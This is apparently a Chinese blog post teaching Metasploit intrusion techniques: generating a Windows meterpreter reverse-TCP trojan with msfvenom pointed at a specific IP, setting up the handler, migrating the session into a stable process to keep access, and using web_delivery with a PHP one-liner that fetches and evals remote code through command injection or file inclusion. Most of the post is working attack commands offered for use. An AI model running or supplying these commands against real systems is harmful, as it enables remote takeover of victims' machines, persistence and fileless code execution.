Msf上线会话

Msf的handler模块

使用前准备:

  1. 生成木马文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=119.8.52.185 lport=7778 -f exe >cxkjntm1.exe

  1. 上传到目标系统上

image.png

使用步骤:

在msf中使用hander模块

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost ip
  4. set lport 端口
  5. run
  6. 在目标系统上执行木马文件

image.png

Meterpreter常用命令:

1. 进程迁移

在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起。
(1) 输入ps命令获取目标机正在运行的进程
image.png
(2) getpid查看meterpreter shell的进程号
image.png
(3) migrate 2320 (2320是phpstudy的进程PID), 因为该进程是一个稳定的应用。只要phpstudy_pro.exe进程一直运行,当前的meterpreter会话就不会中断。
image.png
进程迁移完成后,原先PID为10244的进程会自动关闭,如果没有自动关闭可以输入kill 10244命令来结束该进程。
(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移
run post/windows/manage/migrate //自动迁移进程命令

2. 系统命令

sysinfo:系统运行平台
getuid:会话的用户名
background:后台运行

更多参考https://blog.csdn.net/prettyX/article/details/103761713


Msf中的web_delivery

使用条件:

  1. 目标存在后门shell,或者存在远程文件包含,或者命令注入漏洞等。
  2. 在目标设备硬盘上不留下任何webshell文件信息。

思路:

  1. 让目标设备从远端服务器加载webshell代码至内存执行。
  2. 使用msf中exploit的web_delivery模块。此模块支持在本地监听一个端口,别人一旦访问该端口就会将该端口的文件读取至本地执行。

使用步骤:

  1. use exploit/multi/script/web_delivery
  2. set target PHP ==>一般web平台默认支持PHP,也建议使用PSH
  3. set payload php/meterpreter/reverse_tcp ==>选择php写的meterpreter
  4. set lhost xxx ==>设置本地IP(即你VPS的ip)
  5. set lport 1111 ==>设置本地监听端口
  6. run

利用方式

在蚁剑中执行

php -d allow_url_fopen=true -r "eval(file_get_contents('http:// ip : port /NZzF3pUCxz67Ijt'))"
image.png
VPS中监听

命令注入漏洞

在注入点注入: php -d allow_url_fopen=true -r "eval(file_get_contents('http://ip:port/xxxxxxxxx'));"

远程文件包含漏洞:

在包含漏洞处包含: http://ip:port/xxxxxx

posted @ 2023-06-16 15:03  Lauriey  阅读(295)  评论(0)    收藏  举报